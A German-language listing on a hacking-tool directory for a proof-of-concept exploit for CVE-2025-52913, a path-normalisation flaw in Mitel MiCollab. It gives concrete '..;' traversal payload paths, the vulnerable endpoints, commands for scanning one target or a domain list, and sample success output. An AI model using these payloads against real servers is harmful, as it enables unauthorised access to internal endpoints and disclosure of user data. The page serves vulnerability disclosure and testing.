Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PoC-CVE-2025-52913 — Ein Proof of Concept (PoC) für CVE-2025-52913, eine Path-Normalisierungsschwachstelle, die Mitel MiCollab betrifft. | Kitploit
Tools/GitHubGitHub/pgasus99/poc-cve-2025-52913
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubpgasus99/poc-cve-2025-52913

PoC-CVE-2025-52913

Ein Proof of Concept (PoC) für CVE-2025-52913, eine Path-Normalisierungsschwachstelle, die Mitel MiCollab betrifft.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-52913 - MiCollab Pfadnormalisierungsschwachstelle

📌 Übersicht

Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-52913, eine Pfadnormalisierungsschwachstelle, die Mitel MiCollab betrifft.

Das Problem ermöglicht es nicht authentifizierten Angreifern, beabsichtigte Pfadbeschränkungen durch die Verwendung manipulierter URL-Sequenzen wie ..; zu umgehen, was zu Zugriff auf interne Anwendungsendpunkte führt.

⚠️ Auswirkungen

Eine erfolgreiche Ausnutzung kann Folgendes ermöglichen:

  • Zugriff auf interne und eingeschränkte Endpunkte
  • Offenlegung sensibler Anwendungskomponenten
  • Potenzielle Offenlegung von Informationen

🎯 Betroffene Endpunkte

Die Schwachstelle kann über die folgenden Pfade ausgelöst werden:

root@kitploit:~
/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/

💣 Payloads

Beispielhafte Traversal-Payloads:

root@kitploit:~
/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do

🚀 Verwendung

1. Abhängigkeiten installieren

root@kitploit:~
pip install -r requirements.txt

2. Gegen ein einzelnes Ziel ausführen

root@kitploit:~
python3 POC-CVE-2025-52913.py example.com

3. Gegen mehrere Ziele ausführen

root@kitploit:~
python3 POC-CVE-2025-52913.py domains.txt

🧪 Beispiel

root@kitploit:~
[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
    [!] Possible success

🔍 Erkennung

Ein Ziel ist wahrscheinlich anfällig, wenn:

  • Der Server mit HTTP 200 antwortet

  • Die Antwort enthält:

    • Axis2
    • Axis2 Happiness Page
    • Gültige Anwendungsausgabe von internen Endpunkten

🛠️ Technische Details

Die Schwachstelle entsteht durch unsachgemäße Normalisierung manipulierter Pfade, die ..; enthalten, was einen Zugriff über den beabsichtigten Anwendungskontext hinaus ermöglicht.

Dieses Verhalten kann interne Dienste wie folgende offenlegen:

  • Axis2-Webschnittstelle
  • Interne Benutzerverwaltungsendpunkte

👤 Entdeckung

Entdeckt von Dahmani Toumi

📚 Referenzen

  • CVE: CVE-2025-52913
  • (Herstellerhinweis oder NVD-Link hinzufügen, sobald verfügbar)

⚖️ Haftungsausschluss

Dieses Projekt ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt.

Verwenden Sie dieses Tool nicht gegen Systeme ohne ausdrückliche Genehmigung. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden.

Tool herunterladen